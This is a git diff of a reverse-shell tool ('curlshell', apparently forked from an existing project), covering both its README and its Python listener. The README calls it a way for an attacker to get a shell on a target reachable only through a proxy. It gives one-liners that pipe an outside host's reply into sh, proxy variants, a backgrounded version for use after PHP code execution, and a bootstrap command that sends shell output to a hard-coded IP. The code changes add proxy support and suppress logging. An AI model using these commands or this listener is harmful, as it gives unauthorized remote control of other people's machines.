diff --git a/README.md b/README.md index 5218fb9..1dd68f2 100644 --- a/README.md +++ b/README.md @@ -1,24 +1,76 @@ # Reverse shell using curl -During security research, you may end up running code in an environment, -where establishing raw TCP connections to the outside world is not possible; -outgoing connection may only go through a connect proxy (HTTPS_PROXY). -This simple interactive HTTP server provides a way to mux -stdin/stdout and stderr of a remote reverse shell over that proxy with the -help of curl. +(Cloned from [https://github.com/irsl/curlshell](https://github.com/irsl/curlshell); slightly enhanced) -## Usage +An encrypted reverse TCP shell through a proxy (using only cURL). -Start your listener: +It allows an attacker to access a remote shell (sh) when the remote system can access the Internet via a Proxy only (or the filesystem is mounted read-only/noexec). The target only needs to have `curl` and `sh` installed. Python is not needed and no additonal tools are installed or deployed. + +Generate a SSL Certificate (on your system; not the target): +```sh +openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC" ``` -./curlshell.py --certificate fullchain.pem --private-key privkey.pem --listen-port 1234 + +## Without Proxy + +```sh +# Start your listener (your system) +./curlshell.py --certificate cert.pem --private-key key.pem --listen-port 8080 +``` +```sh +# On the target: +curl -skfL https://1.2.3.4:8080 | sh ``` -On the remote side: +## With SOCKS Proxy +```sh +./curlshell.py -x socks5h://5.5.5.5:1080 --certificate cert.pem --private-key key.pem --listen-port 8080 +``` +```sh +curl -x socks5h://5.5.5.5:1080 -skfL https://1.2.3.4:8080 | sh +``` + +## With HTTP Proxy +```sh +./curlshell.py -x http://5.5.5.5:3128 --certificate cert.pem --private-key key.pem --listen-port 8080 +``` +```sh +curl -x http://5.5.5.5:1080 -skfL https://1.2.3.4:8080 | sh +``` +## With HTTP (plaintext) +```sh +./curlshell.py --listen-port 8080 ``` -curl https://curlshell:1234 | bash +```sh +curl -sfL http://1.2.3.4:8080 | sh ``` -That's it! +# Advanced Tricks +**Trick #1 - Spawn a TTY shell** +```sh +stty intr undef susp undef; +./curlshell.py --shell "script -qc '/bin/bash -il' /dev/null" --listen-port 8080 ; stty intr ^C susp ^Z +``` + +**Trick #2 - Start the reverse shell as a daemon / background process** +This is useful when you have remote execution via PHP: +```sh +# On the target: +(curl -sfL http://1.2.3.4:8080 | sh &>/dev/null &) +``` + +# How it works +The first cURL request pipes this into a target's shell: +```sh +exec curl -X POST -sN http://217.138.219.220:30903/input \ + | sh 2>&1 | curl -s -T - http://217.138.219.220:30903/stdout +``` + +This command starts two cURL processes and connects another shell's input and output these two cURL. HTTP's 'chunked transfer' (`-T`) does the rest. + +--- +More at https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet. + +Join us on Telegram: https://t.me/thcorg diff --git a/curlshell.py b/curlshell.py index 3e32aad..6286704 100755 --- a/curlshell.py +++ b/curlshell.py @@ -89,22 +89,33 @@ def locker(c, d, should_exit): v = lockdata[k] s += v if s <= 0: - eprint("Exiting") os._exit(0) finally: lock.release() class ConDispHTTPRequestHandler(BaseHTTPRequestHandler): + # Suppress logging + def log_message(*args): + pass + # this is receiving the output of the bash process on the remote end and prints it to the local terminal def do_PUT(self): self.server.should_exit = False - w = self.path[1:] - d = getattr(sys, w) + d = getattr(sys, "stdout") if not d: raise Exception("Invalid request") - locker(w, 1, not self.server.args.serve_forever) - eprint(w, "stream connected") + locker("stdout", 1, not self.server.args.serve_forever) + eprint("\x1b[1;32mReverse shell connected.\x1b[0m") + eprint('\x1b[0;35mTHC says: pimp up your prompt: Cut & Paste the following:\x1b[0m') + # Fix if SHELL=/usr/sbin/nologin or /bin/false or /bin/false or "" or invalid shell: + eprint('\x1b[0;36mSHELL=$(${SHELL:-false} -c "echo $SHELL") || unset SHELL') + eprint('SHELL=${SHELL:-$(bash -c "echo bash" || ash -c "echo ash")}\x1b[0m') + # ash's 'exec' will terminate even if target does not exist. Must check that script exists. + eprint('\x1b[0;36mcommand -v script >/dev/null && ${SHELL:-bash} -c : && exec script -qc "${SHELL:-bash} -il" /dev/null\x1b[0m') + eprint('\x1b[0;36mexport TERM=xterm-256color\x1b[0m') + eprint("\x1b[0;36mPS1='{THC} \[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w \[\\e[0;31m\]\\$\[\\e[m\] '\x1b[0m") + eprint("\x1b[0;36mreset\x1b[0m") sr = SocketStreamReader(self.rfile) while True: line = sr.readline() @@ -116,13 +127,14 @@ def do_PUT(self): d.buffer.flush() # chunk trailer sr.readline() - eprint(w, "stream closed") + # eprint(w, "stream closed") + eprint("--> \x1b[1;37mJoin us on Telegram - https://t.me/thcorg\x1b[0m") self.server.should_exit = True - locker(w, -1, not self.server.args.serve_forever) + locker("stdout", -1, not self.server.args.serve_forever) # this is feeding the bash process on the remote end with input typed in the local terminal def do_POST(self): - eprint("stdin stream connected") + # eprint("stdin stream connected") self.send_response(200) self.send_header('Content-Type', "application/binary") self.send_header('Transfer-Encoding', 'chunked') @@ -145,17 +157,24 @@ def do_POST(self): else: self._send_chunk(line) self._send_chunk("") - eprint("stdin stream closed") + # eprint("stdin stream closed") locker("stdin", -1, not self.server.args.serve_forever) def do_GET(self): - eprint("cmd request received from", self.client_address) - schema = "https" if self.server.args.certificate else "http" + eprint("Request received from", self.headers.get('X-Forwarded-For') or self.client_address) + schema = self.headers['X-Forwarded-Proto'] + if not schema: + schema = "https" if self.server.args.certificate else "http" + proxy = "" + if self.server.args.x: + proxy = "-x " + self.server.args.x + # Note: ash/busybox's 'sh -il' will fail with SIGTTIN if not connected to a PTY. + shell = self.server.args.shell or "{ cd ~/ || cd /; command -v bash >/dev/null && exec bash -il || exec /bin/sh;}" host = self.headers["Host"] - cmd = f"stdbuf -i0 -o0 -e0 curl -X POST -s {schema}://{host}/input" - cmd+= f" | bash 2> >(curl -s -T - {schema}://{host}/stderr)" - cmd+= f" | curl -s -T - {schema}://{host}/stdout" + cmd = f"exec curl {proxy} -X POST -sNk {schema}://{host}/input" + cmd+= f" | {shell} 2>&1" + cmd+= f" | curl -sk -T - {schema}://{host}/stdout" cmd+= "\n" # sending back the complex command to be executed self.send_response(200) @@ -164,7 +183,7 @@ def do_GET(self): self.end_headers() self._send_chunk(cmd) self._send_chunk("") - eprint("bootstrapping command sent") + # eprint("bootstrapping command sent") def _send_chunk(self, data): if type(data) == str: @@ -202,6 +221,8 @@ def do_the_job(args): parser.add_argument("--certificate", help="path to the certificate for TLS") parser.add_argument("--listen-host", default="0.0.0.0", help="host to listen on") parser.add_argument("--listen-port", type=int, default=443, help="port to listen on") - parser.add_argument("--serve-forever", type=bool, default=False, action='store_true', help="whether the server should exit after processing a session (just like nc would)") - parser.add_argument("--dependabot-workaround", type=bool, action='store_true', default=False, help="transfer-encoding support in the dependabot proxy is broken, it rewraps the raw chunks. This is a workaround.") + parser.add_argument("--serve-forever", default=False, action='store_true', help="whether the server should exit after processing a session (just like nc would)") + parser.add_argument("--dependabot-workaround", action='store_true', default=False, help="transfer-encoding support in the dependabot proxy is broken, it rewraps the raw chunks. This is a workaround.") + parser.add_argument("--shell", help="Shell [--shell /bin/sh or --shell '/usr/bin/env zsh -il']") + parser.add_argument("-x", help="Proxy to use [e.g. -x socks5h://1.2.3.4:1080 or -x http://user:pwd@1.2.3.4:3128]") do_the_job(parser.parse_args())